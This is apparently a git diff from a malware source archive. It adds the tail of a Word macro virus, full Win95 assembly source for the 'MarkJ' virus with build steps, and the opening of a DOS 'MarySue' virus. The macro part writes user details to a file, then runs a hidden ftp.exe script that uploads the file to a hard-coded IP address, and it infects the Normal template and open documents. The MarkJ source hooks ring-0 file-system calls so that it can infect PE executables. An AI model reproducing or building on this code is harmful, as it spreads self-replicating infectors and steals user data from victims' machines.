LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1)
|
||||||
|
Next I
|
||||||
|
LogFile = "C:\hsf" & LogFile & ".sys"
|
||||||
|
|
||||||
|
Open LogFile For Output As #1
|
||||||
|
Print #1, LogData
|
||||||
|
Close #1
|
||||||
|
|
||||||
|
Open "c:\netldx.vxd" For Output As #1
|
||||||
|
Print #1, "o 209.201.88.110"
|
||||||
|
Print #1, "user anonymous"
|
||||||
|
Print #1, "pass itsme@"
|
||||||
|
Print #1, "cd incoming"
|
||||||
|
Print #1, "ascii"
|
||||||
|
Print #1, "put " & LogFile
|
||||||
|
Print #1, "quit"
|
||||||
|
Close #1
|
||||||
|
|
||||||
|
Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
|
||||||
|
|
||||||
|
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = True
|
||||||
|
|
||||||
|
End If
|
||||||
|
|
||||||
|
|
||||||
|
'Make sure that some conditions are true before we continue infecting anything
|
||||||
|
If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
|
||||||
|
(ActiveDocument.SaveFormat = wdFormatDocument Or _
|
||||||
|
ActiveDocument.SaveFormat = wdFormatTemplate) Then
|
||||||
|
|
||||||
|
|
||||||
|
'Infect the NormalTemplate
|
||||||
|
If DocumentInfected = True Then
|
||||||
|
|
||||||
|
SaveNormalTemplate = NormalTemplate.Saved
|
||||||
|
|
||||||
|
OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
|
||||||
|
|
||||||
|
|
||||||
|
'Write a log file of this NormalTemplate infection
|
||||||
|
For I = 1 To Len(Application.UserAddress)
|
||||||
|
If Mid(Application.UserAddress, I, 1) <> Chr(13) Then
|
||||||
|
If Mid(Application.UserAddress, I, 1) <> Chr(10) Then
|
||||||
|
UserAddress = UserAddress & Mid(Application.UserAddress, I, 1)
|
||||||
|
End If
|
||||||
|
Else
|
||||||
|
UserAddress = UserAddress & Chr(13) & "' "
|
||||||
|
End If
|
||||||
|
Next I
|
||||||
|
|
||||||
|
OurCode = OurCode & Chr(13) & _
|
||||||
|
"' " & Format(Time, "hh:mm:ss AMPM - ") & _
|
||||||
|
Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
|
||||||
|
"' " & Application.UserName & Chr(13) & _
|
||||||
|
"' " & UserAddress & Chr(13)
|
||||||
|
|
||||||
|
|
||||||
|
nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
|
||||||
|
nt.CodeModule.AddFromString OurCode
|
||||||
|
|
||||||
|
If SaveNormalTemplate = True Then NormalTemplate.Save
|
||||||
|
|
||||||
|
End If
|
||||||
|
|
||||||
|
|
||||||
|
'Infect the ActiveDocument
|
||||||
|
If NormalTemplateInfected = True And _
|
||||||
|
(Mid(ActiveDocument.FullName, 2, 1) = ":" Or _
|
||||||
|
ActiveDocument.Saved = False) Then
|
||||||
|
|
||||||
|
SaveDocument = ActiveDocument.Saved
|
||||||
|
|
||||||
|
OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
|
||||||
|
|
||||||
|
ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
|
||||||
|
ad.CodeModule.AddFromString OurCode
|
||||||
|
|
||||||
|
If SaveDocument = True Then ActiveDocument.Save
|
||||||
|
|
||||||
|
End If
|
||||||
|
|
||||||
|
|
||||||
|
End If
|
||||||
|
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
' Logfile -->
|
||||||
|
|
||||||
|
' 09:08:36 - Saturday, 28 Nov 1998
|
||||||
|
' SPo0Ky
|
||||||
|
' Blue Planet
|
||||||
|
'
|
||||||
@@ -0,0 +1,650 @@
|
|||||||
|
;
|
||||||
|
; MarkJ, by Murkry/IkX
|
||||||
|
;
|
||||||
|
;
|
||||||
|
;
|
||||||
|
; Well this idea was very klunky (;) hi dv8) until I received and
|
||||||
|
; dissassembled the F---- harry 3 virus. There I found that you could hook
|
||||||
|
; VxD functions (yay) using the QG manuver. Well this made this virus easier,
|
||||||
|
; the main difference between QG's are this is larger and requires a section
|
||||||
|
; to be added the host; this is due to the method in how it gets tsr space its
|
||||||
|
; section header is set to Virtual address c0000000 - 400000 (bfc00000)
|
||||||
|
; which makes this section loaded at C0000000 an "unused" area in sharedVxD
|
||||||
|
; memory this method will also work with the shared memory at 70000000 this
|
||||||
|
; method will leave that 1000h area in memory even after the orginal program
|
||||||
|
; is ended ;))
|
||||||
|
; (*added now b0z0 has already used this in one of his new viruses I am glad
|
||||||
|
; to see*)
|
||||||
|
; As for the QG manuever well see his source code for more info but basically
|
||||||
|
; he uses a fixed location to find the vmm Device Descriptor Block in memory,
|
||||||
|
; then finds the schedule Global event entry point well you save this address
|
||||||
|
; and replace it with a pointer to your code which will then be at the ring0
|
||||||
|
; VxD land now you can call the ifsmger calls to do similiar to the mrKlunky
|
||||||
|
; and then repair the Global Event call and your set. Yeah i know thats
|
||||||
|
; confusing read the code and figure it out you will learn more and feel better
|
||||||
|
; about yourself :)
|
||||||
|
; Problems to overcome:
|
||||||
|
; well VxDcalls are coded in this fashion
|
||||||
|
; int 20h
|
||||||
|
; dd 00400032 ; vxd vxdfunction
|
||||||
|
; which is replaced with
|
||||||
|
; call [vxdfunction address]
|
||||||
|
; after the first time it is executed so the code can no longer be simply
|
||||||
|
; added to the host, QG fixed this by "patching" all these Dynalinks back to
|
||||||
|
; the int 20.... in Fharry, but he leaves the last one that is called at the
|
||||||
|
; final write to file which is converted to the call[...] b4 the write to file
|
||||||
|
; so this leaves one entry that is not patched Well this is sorta easy to fix
|
||||||
|
; in a number of methods I am choosing the easiest way which is to copy the
|
||||||
|
; code b4 the dynalink occur to an another location and when I write that copy
|
||||||
|
; of the code to the new host, another method would be to create the int 20's
|
||||||
|
; in a dynamic manner the first time this method might be nice for a mutating
|
||||||
|
; form of this type of virus as you can see VX technology is unlimited in what
|
||||||
|
; there is to explore in the Win95 enviroment.
|
||||||
|
; hmm oh yeah the virus has a small payload on the 25th of june it will
|
||||||
|
; display a VWin32_SysErrorBox wishing Mark j a happy bday :)
|
||||||
|
; For those who wonder MarkJ is my friend's son, who is the one who show me
|
||||||
|
; the wonderful world of Virii; JHB yea he is around!
|
||||||
|
; I know that since I show this to b0z0 he has taken this idea cleaned it up
|
||||||
|
; added new ideas so for some code that is more robust check out his article's
|
||||||
|
;
|
||||||
|
;
|
||||||
|
;
|
||||||
|
; Murkry
|
||||||
|
|
||||||
|
|
||||||
|
.Radix 16
|
||||||
|
|
||||||
|
.386
|
||||||
|
;some restrictions
|
||||||
|
;I do not alter the Virtual address of the new section so the
|
||||||
|
; host host must load at a base address of a 400000h if this is not true do
|
||||||
|
; not infect
|
||||||
|
;to try to stay as a Win95 I check for file alignment as a 200h if not again
|
||||||
|
;do not infect
|
||||||
|
|
||||||
|
; the "new" vxd area I create wants dd 0c0000040h
|
||||||
|
;for its characerstics or it fails out strange
|
||||||
|
; now this infects pe files that are name as .com files but get this
|
||||||
|
; the infect com will not run it hangs the system???? well this is just
|
||||||
|
;for demo purposes, rename the infected file to *.exe and it will work :)
|
||||||
|
;and lastly I did not add some check to insure that section directory has
|
||||||
|
;enough room in it ;) I leave these problems for the student to fix
|
||||||
|
;
|
||||||
|
; unlike most vxd's virii this requires Tasm and a debug script that sets the
|
||||||
|
; characterisics of the .DATA to 0c0000040h all set ;)
|
||||||
|
;but does not need special .lib's or the infamous ddk ;)
|
||||||
|
;while i have access to it I prefer to make my files without such things
|
||||||
|
;that way I can use Tasm and not Masm
|
||||||
|
;
|
||||||
|
;Well Virii eXplorers I hope this is an acceptable offering ;)
|
||||||
|
;thanks to QuantumG, DV8 for source and EXE's that help complete this
|
||||||
|
;
|
||||||
|
;Murkry 8/21/97
|
||||||
|
|
||||||
|
; Compiling:
|
||||||
|
; tasm32 /ml /m3 markj,,;
|
||||||
|
; tlink32 /Tpe /aa /c /v markj,markj,, import32.lib,
|
||||||
|
; And then just make the DATA area to be loaded at BFC00000h with a hex editor
|
||||||
|
|
||||||
|
LoadAt equ 0c0000000h
|
||||||
|
PeHeader equ offset Buffer - offset markj + LoadAt
|
||||||
|
.model flat
|
||||||
|
|
||||||
|
extrn ExitProcess:PROC
|
||||||
|
extrn AddAtomA:PROC
|
||||||
|
;this is just the data area that I am using to build the code that will
|
||||||
|
;go in the 0c0000000h area the start of the host will be in the .code
|
||||||
|
; and in a real infection it will execute from the section dir..
|
||||||
|
.data ;the data area
|
||||||
|
markj:
|
||||||
|
|
||||||
|
;first thing find the VMM uses a fixed location here
|
||||||
|
;yea this is just a modfied form of fuck harry by QG but
|
||||||
|
;why not
|
||||||
|
;maybe its possible to just scan for 'VMM '
|
||||||
|
;From 0C0010000 ?
|
||||||
|
|
||||||
|
StartOfVirus:
|
||||||
|
;ok first thing copy the virus to the end of our work and data error
|
||||||
|
;this way we have an ucorrupted version
|
||||||
|
mov esi, LoadAt
|
||||||
|
mov edi,offset DummyCode - Offset StartOfVirus + LoadAt
|
||||||
|
mov Ecx,offset EndVirus - Offset StartOfVirus
|
||||||
|
rep movsb
|
||||||
|
|
||||||
|
mov eax,0C000157Fh ;pointer to one location???
|
||||||
|
mov ebx,[eax] ;of the VMM dbb
|
||||||
|
cmp dword ptr [ebx+0C],0204D4D56h ;'VMM '
|
||||||
|
jne ErrorExit ;if not here get out
|
||||||
|
|
||||||
|
mov ebx,[ebx+30h]
|
||||||
|
;find the Service table for th vmm
|
||||||
|
;now load the call_global_event address (I think)
|
||||||
|
;I have read the source to Fharry and I was right :)
|
||||||
|
;Sorta hook this Services
|
||||||
|
lea eax,[ebx+3Ch]
|
||||||
|
|
||||||
|
;Store this value to restore it later
|
||||||
|
mov dword ptr ds:[0c0000000h + offset OrgIfsEntry- Offset markj],eax
|
||||||
|
; 0c000e384h
|
||||||
|
|
||||||
|
mov eax,[eax]
|
||||||
|
|
||||||
|
mov dword ptr ds:[offset VxDOff - Offset markj + LoadAt ],eax
|
||||||
|
; 402066
|
||||||
|
lea eax,dword ptr ds:[ offset NewHandler - Offset markj + LoadAt]
|
||||||
|
;hook the code
|
||||||
|
mov [ebx+3Ch],eax ;New Location of our Handler
|
||||||
|
|
||||||
|
;Ok we should be set to return to the host
|
||||||
|
|
||||||
|
ErrorExit:
|
||||||
|
|
||||||
|
RetToHost:
|
||||||
|
inc byte ptr ds:[offset CheckTsr - offset markj + LoadAt]
|
||||||
|
|
||||||
|
Ret
|
||||||
|
|
||||||
|
;----------------------------------------------------------
|
||||||
|
;In Dos we would now be in the int Handler
|
||||||
|
; Here we are now in Ring 0 and are part of the VxD land ;)
|
||||||
|
; this is where we finish the QG manuever by hooking HookFSD
|
||||||
|
|
||||||
|
NewHandler:
|
||||||
|
pushad
|
||||||
|
|
||||||
|
|
||||||
|
;restore the global event hook
|
||||||
|
mov eax,dword ptr ds:[VxDOff - offset markj + LoadAt]
|
||||||
|
|
||||||
|
;mov [00000000],eax
|
||||||
|
db 0A3h
|
||||||
|
OrgIfsEntry dd 0
|
||||||
|
|
||||||
|
mov word ptr ds:[offset VxDSeg - Offset markj + LoadAt],cs
|
||||||
|
call CallIFSHook
|
||||||
|
|
||||||
|
popad
|
||||||
|
;---------------------------------------------------------
|
||||||
|
|
||||||
|
; jmp 0028:00000000
|
||||||
|
db 0eah
|
||||||
|
VxDOff dd 0401000h
|
||||||
|
VxDSeg: dw 0137h
|
||||||
|
;---------------------------------------------------------------
|
||||||
|
|
||||||
|
VVxdCall1:
|
||||||
|
CallIFSHook:
|
||||||
|
|
||||||
|
lea eax,dword ptr ds:[offset NewFShook - Offset markj + LoadAt]
|
||||||
|
push edx
|
||||||
|
push eax
|
||||||
|
|
||||||
|
;this is sorta like hooking every int21 that handle file access in DOS
|
||||||
|
;This will add a FS hook now whenever a FSD is Called this will be called
|
||||||
|
;first
|
||||||
|
;Call
|
||||||
|
;Tos = New Fsd Address to Install
|
||||||
|
;return
|
||||||
|
;EAX = Last FShook
|
||||||
|
ApiHook: ;4020dd
|
||||||
|
int 20h
|
||||||
|
V1:
|
||||||
|
APIHOOKVXD dd 00400067h
|
||||||
|
; IFSMgr_Device_ID 0x00040 /* Installable File System Manager */
|
||||||
|
; IFSMgr_Service IFSMgr_InstallFileSystemApiHook 67
|
||||||
|
|
||||||
|
add esp,00000004 ;like a pop changes no regs but esp
|
||||||
|
;some VxD's routines
|
||||||
|
;do not clean up after themselves
|
||||||
|
;Sometimes check docs for specs :))
|
||||||
|
|
||||||
|
pop edx ; restore Edx
|
||||||
|
;Save the old FSHook so we can chain to it
|
||||||
|
mov dword ptr ds:[ offset OldFSD - Offset markj + LoadAt],eax
|
||||||
|
|
||||||
|
;A little payload here if its the 6/25 then display the B-day mess
|
||||||
|
;just using the VMM Exec_VxD_Int to get the System date
|
||||||
|
;To be honest I could not find an easier way to do this!!!
|
||||||
|
;there are some VxD that give time and date but the date is how many
|
||||||
|
; seconds(I think) from some date in the 1980's this is easier and
|
||||||
|
; shows that accessing int 21 is still possible infact if QG is hooking the
|
||||||
|
; the GlobalEvent from the VMM it should be possible to hook the int21
|
||||||
|
; hanlder in a similiar fashion then some creative coding could make the
|
||||||
|
; Dos tsr and the VxD code very similiar....
|
||||||
|
; check for 6/25 if its the date show the message and set the flag
|
||||||
|
;
|
||||||
|
|
||||||
|
mov eax,00002A00h ;get system date
|
||||||
|
push dword ptr 21h
|
||||||
|
int 20h
|
||||||
|
V2 dd 0001008fh
|
||||||
|
|
||||||
|
cmp dx,0619
|
||||||
|
;6/25 in hex for those decimal heads ;)
|
||||||
|
jne ForGetIt
|
||||||
|
|
||||||
|
|
||||||
|
;this shows how one might use the VWin32_SysErrorBox
|
||||||
|
;To display a little message justing saying Hi to JHB's son who is the
|
||||||
|
; happy (?) reason jhb is not coding as much any more I should add he
|
||||||
|
;did help with alot of this code
|
||||||
|
mov ebx, LoadAt
|
||||||
|
add ebx, offset EBox - offset markj
|
||||||
|
int 20h
|
||||||
|
V3 dd 002a001ah
|
||||||
|
|
||||||
|
|
||||||
|
ForGetIt:
|
||||||
|
|
||||||
|
ret
|
||||||
|
;----------------------------------------------------
|
||||||
|
;all right we have "legal" hook into a FSD and the rest is the
|
||||||
|
;just the infection routine
|
||||||
|
NewFShook:
|
||||||
|
push ebp
|
||||||
|
mov ebp,esp
|
||||||
|
sub esp,00000020
|
||||||
|
|
||||||
|
;-------------------------------------------------------
|
||||||
|
;Relative EBP this is what was passed I hope DV8 does not mind me
|
||||||
|
; using his docs to define this stuff
|
||||||
|
;00 - ebp
|
||||||
|
;04 - address of caller
|
||||||
|
;08 - adress of FSD Function
|
||||||
|
;0c - Function ID
|
||||||
|
;10 - drive
|
||||||
|
;14 - Type of Resource
|
||||||
|
;18 - Code Page
|
||||||
|
;1C - Pointer to IOREQ record
|
||||||
|
; 00 dw Lenght if user Buffer
|
||||||
|
; 02 db status Flag
|
||||||
|
; 03 db requests' user Id
|
||||||
|
; 04 dw file handle's System File number
|
||||||
|
; 06 dw Process ID
|
||||||
|
; there is more I will copy or add as needed
|
||||||
|
|
||||||
|
push ebx
|
||||||
|
push esi
|
||||||
|
push edi
|
||||||
|
|
||||||
|
; mov edi,00000000
|
||||||
|
; db 0bfh ;this gets us so edi points to our
|
||||||
|
;VirriOffVxD dd LoadAt ;loc in memory
|
||||||
|
|
||||||
|
; Use this flag so we are not reentrant
|
||||||
|
|
||||||
|
cmp byte ptr ds:[offset Flag1 - offset markj + LoadAt],01
|
||||||
|
je letOrginal
|
||||||
|
;Win95 always opens the file b4 running it so this checks and lets us
|
||||||
|
;check if it is opened
|
||||||
|
cmp dword ptr [ebp+0Ch],00000024h
|
||||||
|
jne letOrginal
|
||||||
|
|
||||||
|
;ok set our flag
|
||||||
|
mov byte ptr ds:[offset Flag1 - offset markj + LoadAt],01
|
||||||
|
pushad
|
||||||
|
|
||||||
|
lea esi,byte ptr ds:[offset FileName - offset markj + LoadAt]
|
||||||
|
|
||||||
|
mov eax,[ebp+10h] ;Primary Data buffer of the IOREQ
|
||||||
|
cmp al,0FFh
|
||||||
|
je NoNeedDriveLetter
|
||||||
|
|
||||||
|
|
||||||
|
add al,40h ;this creates the c:
|
||||||
|
mov [esi],al ;
|
||||||
|
inc esi ;takes 1 byte
|
||||||
|
mov byte ptr [esi],':' ;
|
||||||
|
inc esi ;takes two bytes
|
||||||
|
|
||||||
|
NoNeedDriveLetter:
|
||||||
|
|
||||||
|
xor eax,eax
|
||||||
|
push eax ;character set
|
||||||
|
|
||||||
|
mov eax,000000FF ;max size of output buffer
|
||||||
|
push eax ;
|
||||||
|
|
||||||
|
mov ebx,[ebp+1Ch] ;??? copies from Mr k and
|
||||||
|
mov eax,[ebx+0Ch] ;Fharry virus it seems to
|
||||||
|
add eax,00000004 ;to get the input file name
|
||||||
|
push eax ; which is in unicode
|
||||||
|
|
||||||
|
mov eax,esi ;where we want the output
|
||||||
|
push eax ;
|
||||||
|
|
||||||
|
UniToBcs: ;ok do it
|
||||||
|
int 20h
|
||||||
|
dd 00400041h
|
||||||
|
;IFSMgr_Service UniToBCSPath
|
||||||
|
add esp, 4*4 ;need to clean up the stack
|
||||||
|
; dword size * how many push
|
||||||
|
;(paremeters)
|
||||||
|
add esi,eax
|
||||||
|
mov byte ptr [esi],00
|
||||||
|
cmp dword ptr [esi - 4],"MOC."
|
||||||
|
; cmp dword ptr [esi - 4],"EXE." ;hmm could just put this in to infect
|
||||||
|
;proper files ;>
|
||||||
|
jne ExitVVxD
|
||||||
|
;could add the get and save attributes stuff here as a Xercise for the student
|
||||||
|
|
||||||
|
mov Eax,0000D500h ;create/open file
|
||||||
|
xor ecx,ecx
|
||||||
|
lea Esi,byte ptr ds:[offset FileName - offset markj + LoadAt]
|
||||||
|
mov ebx,2 ;flags
|
||||||
|
mov edx,1
|
||||||
|
|
||||||
|
call VxDIFS ;decide to combine this call
|
||||||
|
;int 20
|
||||||
|
;dd 00400032h
|
||||||
|
;IFSMgr_Service IFSMgr_Ring0_FileIO
|
||||||
|
|
||||||
|
jb ExitVVxD ;error opening the file
|
||||||
|
mov ebx,eax ;file handle
|
||||||
|
|
||||||
|
;Read File open with read write d6
|
||||||
|
;3c is the location of the dword pter to the PE/NE part
|
||||||
|
|
||||||
|
mov ecx,00000004 ;how much
|
||||||
|
mov edx, 03Ch ;where to read from
|
||||||
|
mov eax,0000D600h ;read from file
|
||||||
|
lea esi,byte ptr ds:[offset PEPtr - offset markj + LoadAt]
|
||||||
|
;where to read to
|
||||||
|
|
||||||
|
call VxDIFS
|
||||||
|
;int 20h
|
||||||
|
;dd 00400032h
|
||||||
|
;IFSMgr_Service IFSMgr_Ring0_FileIO
|
||||||
|
|
||||||
|
mov ecx,400h
|
||||||
|
mov edx,dword ptr ds:[offset PEPtr - offset markj + LoadAt]
|
||||||
|
;use as a pointer
|
||||||
|
mov eax,0000D600h
|
||||||
|
lea esi,byte ptr ds:[offset Buffer - offset markj + LoadAt]
|
||||||
|
;where to read to
|
||||||
|
|
||||||
|
call VxDIFS
|
||||||
|
;int 20h
|
||||||
|
;dd 00400032h
|
||||||
|
;IFSMgr_Service IFSMgr_Ring0_FileIO 32
|
||||||
|
;check for the PE
|
||||||
|
;Read in the first 1k of info from the PE header on
|
||||||
|
cmp dword ptr [esi],00004550h ;00,'EP'
|
||||||
|
jne CloseFile
|
||||||
|
|
||||||
|
;Alright!! its a PE file now check if infected
|
||||||
|
;use the user defined 2 words at 44h = Murk
|
||||||
|
;figure file size
|
||||||
|
;figure amout to add
|
||||||
|
;fix header and write end and then write header
|
||||||
|
;all offsets should be off the offset Buffer - offset markj + LoadAt
|
||||||
|
; called PeHeader
|
||||||
|
|
||||||
|
;Lets do some checks if any fail get out
|
||||||
|
|
||||||
|
cmp dword ptr ds:[PeHeader + 44],'kruM' ;user define
|
||||||
|
je CloseFile
|
||||||
|
;Well not infected with MarkJ1 virus
|
||||||
|
|
||||||
|
cmp dword ptr ds:[PeHeader + 34h ],00400000h ;base image
|
||||||
|
jne CloseFile
|
||||||
|
;for this example we only want the base image to be 400000h
|
||||||
|
|
||||||
|
cmp dword ptr ds:[PeHeader + 3ch],200h ;file alignment
|
||||||
|
jne CloseFile
|
||||||
|
;and lastly check the file alignment if 200 we are set
|
||||||
|
|
||||||
|
|
||||||
|
xor eax,eax
|
||||||
|
mov ax,word ptr ds:[PeHeader + 6] ;how many sections
|
||||||
|
mov ecx,28h ;section size
|
||||||
|
mul ecx
|
||||||
|
|
||||||
|
mov edi,eax ;New Section Entry
|
||||||
|
add edi,PeHeader + 0f8h ;add Pe header size
|
||||||
|
|
||||||
|
push edi ;location in PeHeader of new section header
|
||||||
|
|
||||||
|
mov esi, offset SectName - offset markj + LoadAt
|
||||||
|
mov ecx, offset EndVirus - offset SectName
|
||||||
|
rep movsb
|
||||||
|
|
||||||
|
pop edi
|
||||||
|
|
||||||
|
;get file size
|
||||||
|
mov eax,0d800h ;get file size
|
||||||
|
|
||||||
|
call VxDIFS
|
||||||
|
; int 20h
|
||||||
|
; dd 00400032h
|
||||||
|
;IFSMgr_Service IFSMgr_Ring0_FileIO
|
||||||
|
;jc for error
|
||||||
|
|
||||||
|
mov dword ptr ds:[offset FileSize - offset markj + LoadAt],Eax
|
||||||
|
|
||||||
|
push eax ;save the size
|
||||||
|
pop edx ;get it in edx
|
||||||
|
push edx ;save again
|
||||||
|
add eax,0200h
|
||||||
|
shr eax,09h ;make it the 200h size
|
||||||
|
shl eax,09h ;
|
||||||
|
|
||||||
|
pop ecx
|
||||||
|
sub eax,ecx
|
||||||
|
xchg eax,ecx
|
||||||
|
|
||||||
|
;Extend the file to a 200 file alignment
|
||||||
|
|
||||||
|
cmp ecx,0200h
|
||||||
|
jz AtAlignment
|
||||||
|
add dword ptr ds:[offset FileSize - offset markj + LoadAt],Ecx
|
||||||
|
|
||||||
|
mov eax,0000d601h ;write to file
|
||||||
|
mov esi,0c0000000h
|
||||||
|
call VxDIFS
|
||||||
|
;int 20h
|
||||||
|
;dd 00400032h ;edx is telling us where to write to in the file
|
||||||
|
AtAlignment:
|
||||||
|
|
||||||
|
mov edx, dword ptr ds:[offset FileSize - offset markj + LoadAt]
|
||||||
|
mov dword ptr ds:[edi + 14h ],edx
|
||||||
|
|
||||||
|
mov ecx,offset EndVirus - offset StartOfVirus
|
||||||
|
mov eax,0000d601h ;write to file
|
||||||
|
mov esi,offset DummyCode - Offset StartOfVirus + LoadAt
|
||||||
|
call VxDIFS
|
||||||
|
;int 20h
|
||||||
|
;dd 00400032h ;edx is telling us where to write to
|
||||||
|
|
||||||
|
;ok fix the header and write it back
|
||||||
|
;fix marker
|
||||||
|
mov dword ptr ds:[PeHeader + 44h],'kruM' ;user define
|
||||||
|
;fix Eip
|
||||||
|
mov eax,edi
|
||||||
|
sub eax,PeHeader
|
||||||
|
add eax,dword ptr ds:[offset PEPtr - offset markj + LoadAt]
|
||||||
|
add eax,28h ;<----NewEip
|
||||||
|
mov dword ptr ds:[edi + 28h + 1],eax
|
||||||
|
push eax ;save the new eip
|
||||||
|
|
||||||
|
mov eax,dword ptr ds:[PeHeader + 28]
|
||||||
|
mov dword ptr ds:[edi + offset OldEipRva - offset SectName],eax
|
||||||
|
|
||||||
|
pop eax
|
||||||
|
mov dword ptr ds:[PeHeader + 28],eax ;set the new eip
|
||||||
|
|
||||||
|
|
||||||
|
;fix section count
|
||||||
|
inc word ptr ds:[PeHeader + 6]
|
||||||
|
|
||||||
|
mov ecx,400h
|
||||||
|
mov edx,dword ptr ds:[offset PEPtr - offset markj + LoadAt]
|
||||||
|
;use as a pointer
|
||||||
|
lea esi,byte ptr ds:[offset Buffer - offset markj + LoadAt]
|
||||||
|
;where to read to
|
||||||
|
mov eax,0000d601h ;write to file
|
||||||
|
call VxDIFS
|
||||||
|
; int 20h
|
||||||
|
; dd 00400032h ;edx is telling us where to write to
|
||||||
|
|
||||||
|
|
||||||
|
CloseFile:
|
||||||
|
mov eax,0000d700h
|
||||||
|
|
||||||
|
call VxDIFS
|
||||||
|
;int 20h ;402500h
|
||||||
|
;dd 00400032h
|
||||||
|
;IFSMgr_Service IFSMgr_Ring0_FileIO
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
ExitVVxD:
|
||||||
|
Popad
|
||||||
|
;Restore our flag so we can infect the next file
|
||||||
|
mov byte ptr ds:[offset Flag1 - offset markj + LoadAt],0
|
||||||
|
|
||||||
|
letOrginal:
|
||||||
|
|
||||||
|
mov eax,[ebp+1CH] ;040250eh
|
||||||
|
push eax
|
||||||
|
mov eax,[ebp+18H]
|
||||||
|
push eax
|
||||||
|
mov eax,[ebp+14H]
|
||||||
|
push eax
|
||||||
|
mov eax,[ebp+10H]
|
||||||
|
push eax
|
||||||
|
mov eax,[ebp+0CH]
|
||||||
|
push eax
|
||||||
|
mov eax,[ebp+08H]
|
||||||
|
push eax
|
||||||
|
|
||||||
|
;mov eax,00000000
|
||||||
|
db 0b8h
|
||||||
|
OldFSD dd 0
|
||||||
|
call [eax]
|
||||||
|
|
||||||
|
add esp,00000018
|
||||||
|
pop edi
|
||||||
|
pop esi
|
||||||
|
pop ebx
|
||||||
|
leave ;402533h
|
||||||
|
ret
|
||||||
|
|
||||||
|
;********************************************
|
||||||
|
VxDIFS:
|
||||||
|
int 20h ;402500h
|
||||||
|
dd 00400032h
|
||||||
|
ret
|
||||||
|
|
||||||
|
;********************************************
|
||||||
|
|
||||||
|
MFlag db ?
|
||||||
|
Flag1 db ?
|
||||||
|
|
||||||
|
EBox dd ?
|
||||||
|
butt1 dw 0
|
||||||
|
butt2 dw 8001
|
||||||
|
butt3 dw 0
|
||||||
|
TitleOff dd offset TitleEB - offset markj +0c0000000h
|
||||||
|
TextOff dd offset TextEB - offset markj +0c0000000h
|
||||||
|
|
||||||
|
TitleEB db 'Happy Birth Day to Mark J ',0
|
||||||
|
TextEB db 'From Murkry',0
|
||||||
|
|
||||||
|
;-----------------------------------------------------------
|
||||||
|
|
||||||
|
SectName db "MarkJ_I "
|
||||||
|
Physadd dd offset EndVirus - offset StartOfVirus
|
||||||
|
VirtualAdd dd 0c0000000h - 400000h ;bfc00000
|
||||||
|
SizeRawData dd offset EndVirus - offset StartOfVirus
|
||||||
|
PntrRawData dd 0 ;will be set at infection
|
||||||
|
PnterReloc dd ?
|
||||||
|
PnterLine dd ?
|
||||||
|
dw ?
|
||||||
|
dw ?
|
||||||
|
Character dd 0c0000040h
|
||||||
|
|
||||||
|
;sub eax, offset HOST - 400000h
|
||||||
|
db 2dh
|
||||||
|
NewEipRva dd offset HOST - 400000h
|
||||||
|
|
||||||
|
cmp eax,400000h
|
||||||
|
jne GetOut
|
||||||
|
cmp byte ptr ds:[offset CheckTsr - offset markj + LoadAt],0
|
||||||
|
jne GetOut
|
||||||
|
|
||||||
|
;EAX ;current base address
|
||||||
|
pushad
|
||||||
|
call DoNothing
|
||||||
|
DoNothing:
|
||||||
|
pop eax
|
||||||
|
add eax,0bh
|
||||||
|
push eax
|
||||||
|
push 0c0000000h
|
||||||
|
ret
|
||||||
|
Here:
|
||||||
|
popad
|
||||||
|
|
||||||
|
GetOut:
|
||||||
|
|
||||||
|
;add eax, offset return - 400000h
|
||||||
|
db 05h
|
||||||
|
OldEipRva dd offset return - 400000h
|
||||||
|
|
||||||
|
jmp eax
|
||||||
|
;----------------------------------------------------------------
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
EndVirus:
|
||||||
|
FileName db 100 dup(00) ;holds the file name
|
||||||
|
|
||||||
|
|
||||||
|
PEPtr dd 0
|
||||||
|
FileSize dd 0
|
||||||
|
Buffer db 400h dup(00)
|
||||||
|
|
||||||
|
CheckTsr db 00
|
||||||
|
|
||||||
|
DummyCode:
|
||||||
|
|
||||||
|
;--------------------------------------------------------------------
|
||||||
|
.code ;executable code starts here
|
||||||
|
|
||||||
|
HOST:
|
||||||
|
;sub eax, offset HOST - 400000h
|
||||||
|
db 2dh
|
||||||
|
NewEipRva1 dd offset HOST - 400000h
|
||||||
|
|
||||||
|
cmp eax,400000h
|
||||||
|
jne GetOut1
|
||||||
|
cmp byte ptr ds:[offset CheckTsr - offset markj + LoadAt],0
|
||||||
|
jne GetOut1
|
||||||
|
|
||||||
|
;EAX ;current base address
|
||||||
|
pushad
|
||||||
|
call DoNothing1
|
||||||
|
DoNothing1:
|
||||||
|
pop eax
|
||||||
|
add eax,0bh
|
||||||
|
push eax
|
||||||
|
push 0c0000000h
|
||||||
|
ret
|
||||||
|
Here1:
|
||||||
|
popad
|
||||||
|
|
||||||
|
GetOut1:
|
||||||
|
|
||||||
|
;add eax, offset return - 400000h
|
||||||
|
db 05h
|
||||||
|
OldEipRva1 dd offset return - 400000h
|
||||||
|
|
||||||
|
jmp eax
|
||||||
|
;--------------------------------------------------
|
||||||
|
|
||||||
|
return:
|
||||||
|
push LARGE -1
|
||||||
|
call ExitProcess
|
||||||
|
|
||||||
|
end HOST
|
||||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,129 @@
|
|||||||
|
|
||||||
|
MarySue SEGMENT BYTE PUBLIC 'code'
|
||||||
|
ASSUME CS:MarySue, DS:MarySue, SS:MarySue, ES:MarySue
|
||||||
|
|
||||||
|
ORG 100h
|
||||||
|
|
||||||
|
DOS EQU 21h
|
||||||
|
|
||||||
|
start: JMP pgstart
|
||||||
|
exlbl: db 0CDh, 20h, 3, 2, 7
|
||||||
|
pgstart:CALL MarySueVir
|
||||||
|
MarySueVir:
|
||||||
|
POP SI
|
||||||
|
SUB SI,offset MarySueVir
|
||||||
|
MOV BP,[SI+blnkdat]
|
||||||
|
ADD BP, OFFSET exlbl
|
||||||
|
